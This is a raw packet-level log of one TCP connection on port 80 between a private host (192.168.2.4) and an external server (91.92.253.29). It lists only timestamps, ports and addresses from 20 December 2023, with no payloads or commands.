Dec 20, 2023 15:35:06.284492970 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.284637928 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.284679890 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.285326004 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.286200047 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.286212921 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.286240101 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.286283970 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.286319971 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.286323071 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.286398888 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.286437988 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.286493063 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.286663055 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.286701918 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.286731005 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.286767006 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.286804914 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.286815882 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.286848068 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.286889076 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.286937952 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.286964893 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.286999941 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.287098885 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.287817955 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.287866116 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.287869930 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.287944078 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.287992001 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.287992954 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.288027048 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.288067102 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.288070917 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.288103104 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.288145065 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.288192034 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.288266897 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.288311005 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.288341045 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.288450956 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.288497925 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.288952112 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.289105892 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.289149046 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.289202929 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.289252043 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.289294004 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.289335966 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.289424896 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.289465904 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.289478064 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.289555073 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.289599895 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.289654970 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.289824963 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.289876938 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.289889097 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.289925098 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.289963961 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.289969921 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.290092945 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.290127039 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.290141106 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.290184975 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.290226936 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.290250063 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.290508032 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.290554047 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.290764093 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.290831089 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.290874958 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.290951967 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.291106939 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.291147947 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.291309118 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.291399002 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.291441917 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.293379068 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.293454885 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.293500900 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.293560982 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.293575048 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.293610096 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.293612003 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.293718100 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.293764114 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.293806076 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.293900013 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.293941975 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.293968916 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.294064999 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.294097900 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.294111013 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.294240952 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.294286013 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.294296980 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.294332027 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.294349909 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.294377089 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.294431925 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.294472933 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.294512033 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.294526100 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.294558048 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.294579029 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.294612885 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.294650078 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.294692039 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.294722080 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.294760942 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.294774055 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.294826984 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.294867992 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.294888973 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.294938087 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.294981956 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.295744896 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.295789957 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.295835972 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.295866966 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.295902967 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.295943975 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.295979977 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.296019077 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.296056032 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.296066999 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.296128035 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.296168089 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.296201944 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.296272039 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.296314001 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.296411991 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.296566010 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.296605110 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.296613932 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.296667099 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.296680927 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.296711922 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.296755075 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.296797991 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.296829939 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.296900034 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.296941042 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.296979904 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.297141075 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.297183037 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.297230005 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.297272921 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.297317028 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.297355890 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.297394037 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.297436953 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.297447920 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.297482014 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.297523022 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.297544956 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.297583103 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.297624111 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.297657013 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.297713041 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.297755003 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.297797918 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.297847986 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.297894001 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.297941923 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.349909067 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.518927097 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.519009113 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.519071102 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.519119024 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.519221067 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.519282103 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.519406080 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.519493103 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.519536018 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.519753933 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.519864082 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.519908905 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.519964933 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.520061016 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.520101070 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.520296097 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.520399094 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.520448923 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.520499945 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.520585060 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.520634890 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.520973921 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.521054029 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.521094084 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.521159887 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.521239996 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.521285057 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.521325111 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.521393061 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.521436930 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.521469116 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.521537066 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.521579027 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.525197983 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.525265932 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.525311947 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.525882006 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.525990963 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.526061058 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.526061058 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.526148081 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.526195049 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.526608944 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.526685953 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.526740074 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.526766062 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.526911974 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.526953936 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.527095079 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.527200937 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.527246952 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.527424097 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.527499914 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.527558088 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.527662992 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.527756929 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.527801991 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.527822971 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.527971029 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.528012037 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.528903961 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.528970003 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.529035091 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.529082060 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.529136896 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.529176950 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.529208899 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.529292107 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.529335022 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.529495001 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.529578924 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.529619932 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.529699087 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.529779911 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.529823065 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.529898882 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.529968977 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.530011892 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.530082941 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.530157089 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.530199051 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.530273914 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.530361891 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.530407906 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.534060955 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.534636974 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.534683943 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.535079956 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.535927057 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.535969973 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.536576033 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.536587954 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.536600113 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.536612988 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.536626101 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.536628962 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.536639929 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.536649942 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.536659956 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.536673069 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.536685944 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.536694050 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.536700010 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.536725044 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.536729097 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.536736012 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.536745071 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.536804914 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.537282944 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.537301064 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.537386894 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.537755013 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.538460016 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.538520098 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.538655043 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.538947105 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.538992882 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.539123058 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.539135933 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.539176941 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.539459944 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.539612055 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.539649963 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.539796114 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.539942980 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.539988041 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.540131092 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.540144920 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.540157080 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.540172100 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.540184975 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.540188074 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.540200949 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.540246010 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.540293932 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.540307045 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.540327072 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.540337086 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.540349960 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.540357113 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.540363073 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.540380001 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.540384054 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.540393114 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.540406942 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.540419102 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.540421963 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.540432930 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.540446043 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.540452003 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.540467978 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.541179895 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.541225910 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.541306973 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.541464090 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.541523933 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.543521881 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.543597937 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.543648958 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.543783903 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.543853045 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.543895960 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.551482916 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.551553965 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.551599979 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.551636934 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.551742077 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.551788092 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.551908970 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.551966906 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.552011013 CET	49739	80	192.168.2.4	91.92.253.29
Dec 20, 2023 15:35:06.552134037 CET	80	49739	91.92.253.29	192.168.2.4
Dec 20, 2023 15:35:06.552189112 CET	80	49739	91.92.253.29	192.168.2.4
